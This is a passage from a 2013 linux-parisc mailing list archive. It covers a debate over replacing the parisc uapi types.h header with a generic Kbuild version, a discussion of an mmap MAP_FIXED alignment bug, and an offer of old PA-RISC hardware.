List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:20551 gmane.linux.kernel:1600674 gmane.linux.ports.parisc:5515
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/20551>

On Mon, 2013-11-25 at 09:55 +0100, Geert Uytterhoeven wrote:
> Uapi <asm-generic/types.h> just includes <asm-generic/int-ll64.h>

This really doesn't look like a good idea:  Firstly the default of
asm-generic/types.h should *not* be int-ll64, because that's for 32 bit
only and most processors are moving towards 64 bit.  Secondly parisc
currently only has a 32 bit userspace, which is why the file is a simple
include of int-ll64.h; however, people are working on 64 bit userspace
(albeit very slowly) and that file would then have to change.  If we
take the file away someone will forget to add the changed file back.

James


> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: linux-parisc@vger.kernel.org
> ---
>  arch/parisc/include/uapi/asm/Kbuild  |    3 ++-
>  arch/parisc/include/uapi/asm/types.h |    6 ------
>  2 files changed, 2 insertions(+), 7 deletions(-)
>  delete mode 100644 arch/parisc/include/uapi/asm/types.h
> 
> diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
> index a580642555b6..e0da93254186 100644
> --- a/arch/parisc/include/uapi/asm/Kbuild
> +++ b/arch/parisc/include/uapi/asm/Kbuild
> @@ -1,6 +1,8 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> +generic-y += types.h
> +
>  header-y += bitsperlong.h
>  header-y += byteorder.h
>  header-y += errno.h
> @@ -27,5 +29,4 @@ header-y += statfs.h
>  header-y += swab.h
>  header-y += termbits.h
>  header-y += termios.h
> -header-y += types.h
>  header-y += unistd.h
> diff --git a/arch/parisc/include/uapi/asm/types.h b/arch/parisc/include/uapi/asm/types.h
> deleted file mode 100644
> index 8866f9bbdeaf..000000000000
> --- a/arch/parisc/include/uapi/asm/types.h
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -#ifndef _PARISC_TYPES_H
> -#define _PARISC_TYPES_H
> -
> -#include <asm-generic/int-ll64.h>
> -
> -#endif




From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 08/24] parisc/uapi: Use Kbuild logic to provide <asm/types.h>
Date: Mon, 25 Nov 2013 11:12:08 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <CAMuHMdUV4R0BK-eKkXeDD9B0pRLJjziUkvXZVvfWmuaK=dv9Mg@mail.gmail.com>
References: <1385369734-24893-1-git-send-email-geert@linux-m68k.org>
	<1385369734-24893-9-git-send-email-geert@linux-m68k.org>
	<1385373313.2354.16.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1385374327 30780 80.91.229.3 (25 Nov 2013 10:12:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Nov 2013 10:12:07 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	Linux-Arch <linux-arch@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 25 11:12:12 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vkt9H-00054t-Lf
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Nov 2013 11:12:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751114Ab3KYKMK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Nov 2013 05:12:10 -0500
Original-Received: from mail-pb0-f51.google.com ([209.85.160.51]:50401 "EHLO
	mail-pb0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750965Ab3KYKMJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Nov 2013 05:12:09 -0500
Original-Received: by mail-pb0-f51.google.com with SMTP id up15so5348872pbc.24
        for <multiple recipients>; Mon, 25 Nov 2013 02:12:08 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=cwR2EQvp00BJ5ftyECXZ2Za9YpXo7flxaMuiRZhzdgw=;
        b=foA1Sk8vCTG7ZkD/RJFo/Ib+KQLL8VakIpg9e6CKTKF0ZKv91C9zMFZlZgOTuFkONH
         B0PtEL8ATACTdllTNHgU4RMBxwD39BBwAC+GJ5eQT3yS78/0mxY5kIBnoILRiT2YcZ0n
         CbdgJ5A0fma77Yl4jRrSgp7jnkT7bfw4oViSFrNd4AVWiEeRD7Xcq3pNsYCBUIOcNjd/
         22+C7ChS/yQLtkvQM8NVPat+fbj3EzwFaXeZMpXB7KJ/yBjT9oIH0ORvN8DeyPQAJNem
         tKlNHVaOHUx2CilT7mqACls+SgKmN+Ui6CYLuJfkcJuS715njafei56sbs6Dxjq2rBJP
         GWgw==
X-Received: by 10.68.203.195 with SMTP id ks3mr17144082pbc.83.1385374328467;
 Mon, 25 Nov 2013 02:12:08 -0800 (PST)
Original-Received: by 10.70.18.229 with HTTP; Mon, 25 Nov 2013 02:12:08 -0800 (PST)
In-Reply-To: <1385373313.2354.16.camel@dabdike>
X-Google-Sender-Auth: 3eH30MJNyPVJEPK90rI0VqkmCq0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5516 gmane.linux.kernel.cross-arch:20553 gmane.linux.kernel:1600693
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5516>

On Mon, Nov 25, 2013 at 10:55 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Mon, 2013-11-25 at 09:55 +0100, Geert Uytterhoeven wrote:
>> Uapi <asm-generic/types.h> just includes <asm-generic/int-ll64.h>
>
> This really doesn't look like a good idea:  Firstly the default of
> asm-generic/types.h should *not* be int-ll64, because that's for 32 bit
> only and most processors are moving towards 64 bit.  Secondly parisc

In kernelspace, both 32 and 64 bit are ll64.

> currently only has a 32 bit userspace, which is why the file is a simple
> include of int-ll64.h; however, people are working on 64 bit userspace

Sorry, I didn't know you support 32 bit userspace only.

> (albeit very slowly) and that file would then have to change.  If we
> take the file away someone will forget to add the changed file back.

However, is this a "new" 64 bit userspace ABI? If yes, you may want to
consider using ll64 in userspace on 64 bit too, like all "new" 64 bit ports
do (arm64, s390, sparc, tile, x86). Only legacy alpha, ia64, mips and
old ppc use l64.

Or follow the ppc64 road:

/*
 * This is here because we used to use l64 for 64bit powerpc
 * and we don't want to impact user mode with our change to ll64
 * in the kernel.
 *
 * However, some user programs are fine with this.  They can
 * flag __SANE_USERSPACE_TYPES__ to get int-ll64.h here.
 */
#ifndef __KERNEL__
#if !defined(__SANE_USERSPACE_TYPES__) && defined(__powerpc64__)
# include <asm-generic/int-l64.h>
#else
# include <asm-generic/int-ll64.h>
#endif
#endif

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 08/24] parisc/uapi: Use Kbuild logic to provide
 <asm/types.h>
Date: Mon, 25 Nov 2013 14:22:35 +0400
Lines: 57
Approved: news@gmane.org
Message-ID: <1385374955.2354.24.camel@dabdike>
References: <1385369734-24893-1-git-send-email-geert@linux-m68k.org>
	 <1385369734-24893-9-git-send-email-geert@linux-m68k.org>
	 <1385373313.2354.16.camel@dabdike>
	 <CAMuHMdUV4R0BK-eKkXeDD9B0pRLJjziUkvXZVvfWmuaK=dv9Mg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1385374959 6622 80.91.229.3 (25 Nov 2013 10:22:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Nov 2013 10:22:39 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	Linux-Arch <linux-arch@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 25 11:22:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VktJS-0001gp-IF
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Nov 2013 11:22:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751106Ab3KYKWl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Nov 2013 05:22:41 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53802 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750766Ab3KYKWk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Nov 2013 05:22:40 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0873D8EE0E4;
	Mon, 25 Nov 2013 02:22:40 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id N5s_gE_m5kXR; Mon, 25 Nov 2013 02:22:39 -0800 (PST)
Original-Received: from [10.24.39.17] (swsoft-msk-nat.sw.ru [195.214.232.10])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E75D98EE0C9;
	Mon, 25 Nov 2013 02:22:37 -0800 (PST)
In-Reply-To: <CAMuHMdUV4R0BK-eKkXeDD9B0pRLJjziUkvXZVvfWmuaK=dv9Mg@mail.gmail.com>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5517 gmane.linux.kernel.cross-arch:20555 gmane.linux.kernel:1600704
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5517>

On Mon, 2013-11-25 at 11:12 +0100, Geert Uytterhoeven wrote:
> On Mon, Nov 25, 2013 at 10:55 AM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > On Mon, 2013-11-25 at 09:55 +0100, Geert Uytterhoeven wrote:
> >> Uapi <asm-generic/types.h> just includes <asm-generic/int-ll64.h>
> >
> > This really doesn't look like a good idea:  Firstly the default of
> > asm-generic/types.h should *not* be int-ll64, because that's for 32 bit
> > only and most processors are moving towards 64 bit.  Secondly parisc
> 
> In kernelspace, both 32 and 64 bit are ll64.

Not necessarily; the files exist because of variations in gcc.  Some
versions of gcc have long long being 128 bits and for those you have to
use int-l64.h

> > currently only has a 32 bit userspace, which is why the file is a simple
> > include of int-ll64.h; however, people are working on 64 bit userspace
> 
> Sorry, I didn't know you support 32 bit userspace only.
> 
> > (albeit very slowly) and that file would then have to change.  If we
> > take the file away someone will forget to add the changed file back.
> 
> However, is this a "new" 64 bit userspace ABI? If yes, you may want to
> consider using ll64 in userspace on 64 bit too, like all "new" 64 bit ports
> do (arm64, s390, sparc, tile, x86). Only legacy alpha, ia64, mips and
> old ppc use l64.
> 
> Or follow the ppc64 road:
> 
> /*
>  * This is here because we used to use l64 for 64bit powerpc
>  * and we don't want to impact user mode with our change to ll64
>  * in the kernel.
>  *
>  * However, some user programs are fine with this.  They can
>  * flag __SANE_USERSPACE_TYPES__ to get int-ll64.h here.
>  */
> #ifndef __KERNEL__
> #if !defined(__SANE_USERSPACE_TYPES__) && defined(__powerpc64__)
> # include <asm-generic/int-l64.h>
> #else
> # include <asm-generic/int-ll64.h>
> #endif
> #endif

That's the one I was thinking we might need.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix re-mmap() of shared file to same fixed address
Date: Mon, 25 Nov 2013 08:19:39 -0500
Lines: 76
Approved: news@gmane.org
Message-ID: <BLU0-SMTP39364B117BB604785BBC7C97ED0@phx.gbl>
References: <20131120220742.GA23304@p100.box> <201311242341.23301.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1385385596 2711 80.91.229.3 (25 Nov 2013 13:19:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Nov 2013 13:19:56 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 25 14:20:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vkw53-0002JG-Mw
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Nov 2013 14:20:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756593Ab3KYNUA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Nov 2013 08:20:00 -0500
Original-Received: from blu0-omc4-s19.blu0.hotmail.com ([65.55.111.158]:28763 "EHLO
	blu0-omc4-s19.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756477Ab3KYNT6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Nov 2013 08:19:58 -0500
Original-Received: from BLU0-SMTP39 ([65.55.111.136]) by blu0-omc4-s19.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 25 Nov 2013 05:19:57 -0800
X-TMN: [kzwik0GTwQ4LwJlc/O7t5dFg6yGxIyM9]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.247]) by BLU0-SMTP39.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 25 Nov 2013 05:19:56 -0800
In-Reply-To: <201311242341.23301.vapier@gentoo.org>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 25 Nov 2013 13:19:56.0470 (UTC) FILETIME=[08CA1D60:01CEE9E1]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5518
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5518>

On 24-Nov-13, at 11:41 PM, Mike Frysinger wrote:

> On Wednesday 20 November 2013 17:07:42 Helge Deller wrote:
>> locale-gen from glibc showed a strange problem on parisc:
>
> pedantic: locale-gen is from distros while glibc itself provides  
> localedef.
>
>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42a54000
>> mmap2(0x42a54000, 103860, PROT_READ|PROT_WRITE, MAP_SHARED| 
>> MAP_FIXED, 3, 0)
>> = -1 EINVAL (Invalid argument)
>>
>> Basically it was just trying to re-mmap() a file at the same address
>> which it was given by a previous mmap() call. But this remapping  
>> failed
>> with EINVAL.
>>
>> The problem is, that when MAP_FIXED and MAP_SHARED flags were used,  
>> we
>> didn't included the mapping-based offset when we verified the  
>> alignment of
>> the given fixed address against the offset which we calculated it  
>> in the
>> previous call.
>
> hmm, which version of glibc were you trying ?  we landed this change  
> recently:
> https://sourceware.org/git/?p=glibc.git;a=commitdiff_plain;h=17db6e8d6b12f55e312fcab46faf5d332c806fb6
>
> it's part of glibc-2.18.  we know earlier versions of localedef  
> failed on
> systems like parisc, although it seemed to really only creep up on  
> 64bit
> kernels reliably.

Besides the above, our mmap allocater doesn't work well when we have a  
large number
of small allocations:
https://rt.perl.org:443/rt3/Ticket/Display.html?id=119567

Effectively, we allocate 4 MB per locale and soon run out of memory.

Problem is here:

/*
  * We need to know the offset to use.  Old scheme was to look for
  * existing mapping and use the same offset.  New scheme is to use the
  * address of the kernel data structure as the seed for the offset.
  * We'll see how that works...
  *
  * The mapping is cacheline aligned, so there's no information in the  
bottom
  * few bits of the address.  We're looking for 10 bits (4MB / 4k), so  
let's
  * drop the bottom 8 bits and use bits 8-17.
  */
static int get_offset(struct address_space *mapping)
{
         return (unsigned long) mapping >> 8;
}

We rarely suceed in allocating two or more maps in the same 4 MB block
of memory.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Recycling HW: NICs, PCI cards, A500, J6000, SCSI disks
Date: Mon, 25 Nov 2013 12:23:42 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <CAP6odjhUc52Th183UOG+t6Zq5GriV+RpVCniJEK11iLkbxq5Kg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1385411020 31266 80.91.229.3 (25 Nov 2013 20:23:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Nov 2013 20:23:40 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 25 21:23:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vl2h5-00028K-Tk
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Nov 2013 21:23:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754812Ab3KYUXn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Nov 2013 15:23:43 -0500
Original-Received: from mail-oa0-f50.google.com ([209.85.219.50]:32848 "EHLO
	mail-oa0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753622Ab3KYUXm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Nov 2013 15:23:42 -0500
Original-Received: by mail-oa0-f50.google.com with SMTP id n16so5022435oag.9
        for <linux-parisc@vger.kernel.org>; Mon, 25 Nov 2013 12:23:42 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:content-type;
        bh=mau/dSLotJHtnE+fxvMPPVNluiE1fe33CYZNc8prLis=;
        b=hAPzgr1XVyQO0oCpcx9GjN3QKOpt3OIOLS8yc8566mS0DYzB8fd2BU1Lp/SdDprqa0
         DoHndjx/J2LtPFWu0X3MNylPoWMagJ0IPGvmtPdRgWXeulvas1SxipK3QLKi3CnWwEAV
         0xpFxq/yc2pl4lvNkk3xDvj2swn2YYnzyeZXMxOrQh142ZUqTnX34FCUy1aOnjP8ib0X
         v+GGs0SQJqnni0ZrwXHfbJQOLQ+qy1Q7jk2JuqjG3o95WBYI3ltc0CHO48GbglAG2ryy
         zTLbTUJwYFa+ZZQPJHVsx1UObWyGd/yGOAae4VwO9yG/YCzRs3WhcXv2ckVB+3Eb4PBd
         cGpw==
X-Received: by 10.60.44.178 with SMTP id f18mr7134892oem.43.1385411022395;
 Mon, 25 Nov 2013 12:23:42 -0800 (PST)
Original-Received: by 10.182.248.168 with HTTP; Mon, 25 Nov 2013 12:23:42 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5519
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5519>

I'm not doing anything with my PA-RISC HW and will recycle it. Anyone
interested in it for  hppa linux development?

I have many multi-port PCI cards, 9GB to 36GB SCA SCSI drives, and two
systems. I can ship if you want to pick up the cost of shipping.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix re-mmap() of shared file to same fixed address
Date: Mon, 25 Nov 2013 21:43:37 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <5293B679.1040405@gmx.de>
References: <20131120220742.GA23304@p100.box> <201311242341.23301.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1385412222 12709 80.91.229.3 (25 Nov 2013 20:43:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Nov 2013 20:43:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	dave.anglin@bell.net
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 25 21:43:47 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vl30V-0003b1-EI
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Nov 2013 21:43:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751269Ab3KYUnm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Nov 2013 15:43:42 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:59181 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751981Ab3KYUnk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Nov 2013 15:43:40 -0500
Original-Received: from [192.168.178.60] ([84.173.41.229]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LpcBS-1V7q6G112U-00fPFv for
 <linux-parisc@vger.kernel.org>; Mon, 25 Nov 2013 21:43:38 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <201311242341.23301.vapier@gentoo.org>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:P9DeDyiVys7Yh5mhZYVDN9Xz66HkBg/3qCPDJvVQqiYRN6F3IQA
 E+9ouJ4+UEDr+7fTlrL8aDVFzB9q2lKsDEzyaN+BMQgm/8foH4oxFGBF86QRH0SB9/8iKL4
 6kGG3Xp0TW9T207EIFB8KT4Bo8EAEPeI3mgXxOdTPGIWKz6uVxd03U8dVkdAIDJcCZi9xDj
 zZL558Aop/k5+3nabD8vQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5520
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5520>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi Mike,

On 11/25/2013 05:41 AM, Mike Frysinger wrote:
> On Wednesday 20 November 2013 17:07:42 Helge Deller wrote:
>> locale-gen from glibc showed a strange problem on parisc:
> 
> pedantic: locale-gen is from distros while glibc itself provides localedef.

Ok.

>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42a54000
>> mmap2(0x42a54000, 103860, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0)
>> = -1 EINVAL (Invalid argument)
>>
>> Basically it was just trying to re-mmap() a file at the same address
>> which it was given by a previous mmap() call. But this remapping failed
>> with EINVAL.
>>
>> The problem is, that when MAP_FIXED and MAP_SHARED flags were used, we
>> didn't included the mapping-based offset when we verified the alignment of
>> the given fixed address against the offset which we calculated it in the
>> previous call.
> 
> hmm, which version of glibc were you trying ?  we landed this change recently:
> https://sourceware.org/git/?p=glibc.git;a=commitdiff_plain;h=17db6e8d6b12f55e312fcab46faf5d332c806fb6
> 
> it's part of glibc-2.18.  we know earlier versions of localedef failed on 
> systems like parisc, although it seemed to really only creep up on 64bit 
> kernels reliably.

It's debian's glibc 2.17-96

> based on your description, it sounds like independent bugs, but it also seems 
> a little coincidental ...

It's at least related.
As long as in the second mmap(ptr,...) the ptr value given is the same as the ptr value
returned by a prior call to mmap(NULL,...) it works.
It's hard to read from the diff if this is the case with the new glibc patch...

Anyway, I think the main thing one should know is, that a mmap(NULL,..) call will in most
cases *not* return a value which is a multiple of SHMLBA. But the offset (ptr%SHMLBA) 
will stay constant as long as the same file handle is used.

Helge
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

iQIcBAEBAgAGBQJSk7Z5AAoJEKGDlV8wpRJBPeQP/RndkCBrSEwNbH5HWFS332Lw
CJ/l5QkG2rhZh1EYKywoxqlYeTR3vDveacCQEuOozeVm7zI50leZACFI8XromoTb
3MQ0oPy3X+ApP+X/+KYSO/5ew+bRMcJJ3bmid9jdZ8kA3U4h6nsdE1dd3tJl1sf0
10Jm/0OPz+x0mJBZU8V4cuZPllHsyvfk7IN/vnfhy3HdW/Jq2IPPE+XZhri+3SQu
qBSnZOVts6MS3tlC757GgKhGGLjer4hVrJaC4BQucSoAk3fEJZqXQzcs9HDIWTNd
k4kkan6fnUdvxpvZOO//TYeAYDZQvgMiYju/CMw35B+Iyk9Anma3oXxtTQTbaFh5
zjPlsrCuU+V7oUag6WiLKKtlmUg07sdX+G4Htf64mT9avdQvuGwWlJieORg7Xnjw
/32tWjyw/j/v6+Omdq5tMf+Si7NeDi+AbE2IaRFrGL+/1ANXj2XoTRP2o34gMj90
7OL6/ntV/p+D/ByGmSlGbvSL7RzKnYxHNS1/reeEys+tS2j3+C0M+7GDm1/r3BUV
hXVh0eFizr1p2tDsabCEbil3lEffVPXJ12mVY+HDhe7KGav66suNvhaqfcou07Yr
